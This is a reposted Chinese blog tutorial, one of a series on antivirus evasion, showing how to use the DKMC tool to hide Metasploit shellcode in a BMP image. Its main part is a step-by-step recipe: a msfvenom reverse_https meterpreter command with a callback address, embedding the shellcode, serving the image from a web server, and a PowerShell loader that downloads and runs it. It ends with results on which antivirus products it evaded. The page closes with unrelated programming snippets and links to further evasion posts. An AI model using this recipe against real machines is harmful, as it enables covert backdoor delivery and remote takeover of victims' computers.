远控免杀专题(15)-DKMC免杀

0x01 免杀能力一览表

在这里插入图片描述
几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

0x02 DKMC介绍

DKMC是Don’t Kill My Cat (DKMC)的简称,谷歌翻译为"不要杀害我的小猫咪",这个名字也是挺少女心的…DKMC是一种生成混淆的shellcode的工具,并把shellcode合成到图像文件中,最终依靠PowerShell执行最终的shellcode有效负载。

0x03 安装DKMC

安装比较简单


$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output

执行python dkmc.py即可
在这里插入图片描述

0x04 DKMC使用说明

执行python dkmc.py后可以看到5个选项,

[*] (gen)	Generate a malicious BMP image  
[*] (web)	Start a web server and deliver malicious image 
[*] (ps)	Generate Powershell payload 
[*] (sc)	Generate shellcode from raw file 
[*] (exit)	Quit the application

翻译一下


[*] (gen)	将msf的shellcode注入到一个BMP图像
[*] (web)	启动web服务用来分发BMP图像
[*] (ps)	生成ps的payload
[*] (sc)	将msf生成的raw文件转为shellcode
[*] (exit)	退出

这几个选项可不是都能生成payload,而是一起组合来生成免杀的文件。

生成一个后门的流程大体为:

1、先利用msf生成raw文件

2、利用sc讲raw文件转换为shellcode

3、利用gen将上一步的shellcode注入到一个BMP图像

4、利用ps生成基于powershell的BMP文件的payload

5、利用web提供的简单web服务进行分发BMP文件

4和5看起来有点乱,下面我演示一下就很容易明白了。

0x05 利用DKMC生成后门

1、先利用Msf生成raw格式的shellcode,稍微编码了一下

msfvenom -p windows/meterpreter/reverse_https  LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/test15.raw

在这里插入图片描述
2、在主菜单中选择sc,然后设置source为/root/test15.raw,再执行run生成shellcode。
在这里插入图片描述
复制一下生成的shellcode,输入exit退回到主菜单。

3、在主菜单中选择gen,然后设置shellcode为上一步中生成的shellcode。

其他默认即可,执行run生成图像。
在这里插入图片描述
看到生成了output-1577907077.bmp图像文件,输入exit退回到主菜单。

4、在主菜单中选择ps,设置url地址,这个url地址就是web分发图像文件的地址。

我的parrot虚拟机的地址为10.211.55.24,我打算用默认的80端口,这样我的url地址为http://10.211.55.24/output-1577907077.bmp

使用命令set url http://10.211.55.24/output-1577907077.bmp,然后执行run生成powershell执行脚本。
在这里插入图片描述
复制一下生成的ps代码,输入exit退回到主菜单。

5、最后一步,在主菜单中选择web,使用默认80端口,执行run即可。
在这里插入图片描述
访问虚拟机的80端口
在这里插入图片描述
图像可以正常打开
在这里插入图片描述
6、在我的测试机器上执行第4步生成的ps代码,不开杀软的时候可正常上线

我将ps执行代码中的-w hidden先去掉,这样可以看得直观一些
在这里插入图片描述
在这里插入图片描述
7、打开杀软进行测试

静态查杀都通过
在这里插入图片描述
在执行powershell代码时,火绒和360卫士会拦截报警,360杀毒没有反应
在这里插入图片描述

0x05 小结

DKMC主要把shellcode注入到bmp图像中,然后使用powershell来执行其中的shellcode,但是很多杀软都会监测powershell的执行动作,所以virustotal.com的静态检测不足以说明什么。其实还可以进一步对ps执行代码进行混淆免杀,这一点后续文章还会涉及这里就不展开说

参考

官方说明文档:https://github.com/Mr-Un1k0d3r/DKMC

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380138.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

面向对象(静态成员内部类的调用)

class beyond{public static void main(String []args){//外部类名.内部类名 对象名 外部类名.内部类对象(new 内部类名)/*Outer.Inner yy Outer.new Inner(); 类里面有个非静态方法,需要new创建Inner对象;正常的形式是这样的,但是我们习惯将new放在前…

SQL——以面向集合的思维方式来思考

本文来自:http://www.ituring.com.cn/article/details/472 为了以有趣的方式更好地帮助你形成面向集合的思维方式,我将给出自己最喜欢的游戏之一——集合。你可以在线玩这个游戏,网址是www.setgame.com/puzzle/set.htm,每天都会贴…

转载: 统计图控件NetCharting 和ZedGraph的比较

原文出处:http://hi.baidu.com/goga/blog/item/07b3024f61b8cd35aec3ab47.html最近考察了几个统计图表控件包,开源的有ZedGraph,Nplot等,但是相比之下还是ZedGraph强大,方便一些,其他的感觉还是半成品。收费…

【汇编语言】状态标志符(CF/OF/SF/ZF)在运算(ADD/SUB/ADC/SBB)过程中的响应变化

目录各类运算时状态标志的响应变化标志符在各种ADD运算下的响应情况标志符在各种SUB运算下的响应情况借助标志符实现多位数之间运算ADC(add with carry)带进位加法指令SBB(subtract with borrow)带借位减法指令各类运算时状态标志的响应变化 标志符具体含义CF(Carr…

Java集合unmodifiableSortedSet()方法(带示例)

集合类unmodifiableSortedSet()方法 (Collections Class unmodifiableSortedSet() method) unmodifiableSortedSet() method is available in java.util package. unmodifiableSortedSet()方法在java.util包中可用。 unmodifiableSortedSet() method is used to get a non-modi…

远控免杀专题(16)-Unicorn免杀

0x01 免杀能力一览表 几点说明: 1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

面向对象(匿名内部类在开发中的应用)

匿名内部类在开发中的应用 public class test1_NoNameInner {public static void main(String[] args) {PersonDemo yy new PersonDemo();//yy.method(new Student());yy.method(new Person() {public void show(){System.out.println("show");}});//匿名内部类当作…

【汇编语言】乘法(MUL/IMUL)

乘法(MUL/IMUL) 目录乘法(MUL/IMUL)IMUL(signed multiply)有符号数乘法MUL(unsigned multiply)无符号数乘法麻!属实是被这个有符号乘法给整麻了,教材就一行例子直接不解释了,关于标志位溢出的一…

【转】MFC学习总结

HBRUSH CAboutDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) { if ((pWnd->GetDlgCtrlID() IDC_EDIT1) && (nCtlColor CTLCOLOR_EDIT)) {   COLORREF clr RGB(255,0,0);   pDC->SetTextColor(clr);  //设置红色的文本   clr RGB(0,0,0…

NHibernate初学体验进阶篇

在上篇《NHibernate初学体检记》中&#xff0c;我参照NHibernate官方快速指南写了两个示例项目&#xff0c;在示例2的源码中充斥了如下类似的代码&#xff1a;<?XML:NAMESPACE PREFIX O />Configuration cfg new Configuration(); cfg.AddAssembly("…

eclipse快捷键

Java开发工具(Eclipse的视窗和视图概述) A:视窗 每一个基本的窗体被称为视窗 PackageExplorer 显示项目结构&#xff0c;包&#xff0c;类&#xff0c;及资源Outline 显示类的结构&#xff0c;方便查找&#xff0c;识别&#xff0c;修改Console 程序运行的结果在该窗口显示Hie…

【汇编语言】除法(DIV/IDIV)

除法&#xff08;DIV/IDIV&#xff09; 目录除法&#xff08;DIV/IDIV&#xff09;DIV(unsigned divide)无符号数除法IDIV(signed divide)有符号数除法DIV(unsigned divide)无符号数除法 格式&#xff1a;DIV SRC 操作&#xff1a; SRCSRCSRC为字节时&#xff0c;(AL)←(AX)/…

java 方法 示例_Java集合syncedSortedSet()方法与示例

java 方法 示例集合类SynchronizedSortedSet()方法 (Collections Class synchronizedSortedSet() method) synchronizedSortedSet() method is available in java.util package. java.util软件包中提供了sharedSortedSet ()方法 。 synchronizedSortedSet() method is used to …

远控免杀专题(17)-Python-Rootkit免杀

免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶…

项目管理软件应用浅析(转)

项目管理是在一定的约束条件下&#xff0c;以高效率地实现项目业主的目标为目的&#xff0c;以项目经理个人负责制为基础和以项目为独立实体进行经济核算&#xff0c;并按照项目内在的逻辑规律进行有效的计划、组织、协调、控制的系统管理活动。项目管理的核心技术是网络计划技…

斜视角的讨论(转)

http://school.ogdev.net/listshow.asp?page4&typeid0&categoryid5&id0&ListType2 目 录 1.1 地图和地表 1.2 斜视角游戏中的视角 1.3 Tile图片的拼接 1.4 不同地表间的过渡 1.5 地图数据结构的定义 --------------------------------------------------…

计算机网络(湖科大教书匠)

计算机网络&#xff08;湖科大教书匠&#xff09; 本文档为教学视频【计算机网络微课堂&#xff08;有字幕无背景音乐版&#xff09;_哔哩哔哩_bilibili】的摘录 目录计算机网络&#xff08;湖科大教书匠&#xff09;一、绪论1.2 因特网概述1.2.1 网络、互连网&#xff08;互联…

经纬度

题目描述 给定地球的两个经纬度坐标&#xff0c;问这两个点的直线距离。假设地球为球体&#xff0c;半径为6371009米。 输入描述: 第一行一个整数T表示数据组数。 接下来n行&#xff0c;每行四个数lat1, lng1, lat2, lng2分别表示两个点的经纬度。 正数表示北纬和东经。 …

远控免杀专题(18)-ASWCrypter免杀

免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶…

Hibernate 笔记4 实现对数据库的增删改查

1 准备 首先在mysql数据库中建表User,并添加相关信息。 user表结构如下。 ---------------------------------------------------------| Field | Type | Null | Key | Default | Extra |------------------------------------------------…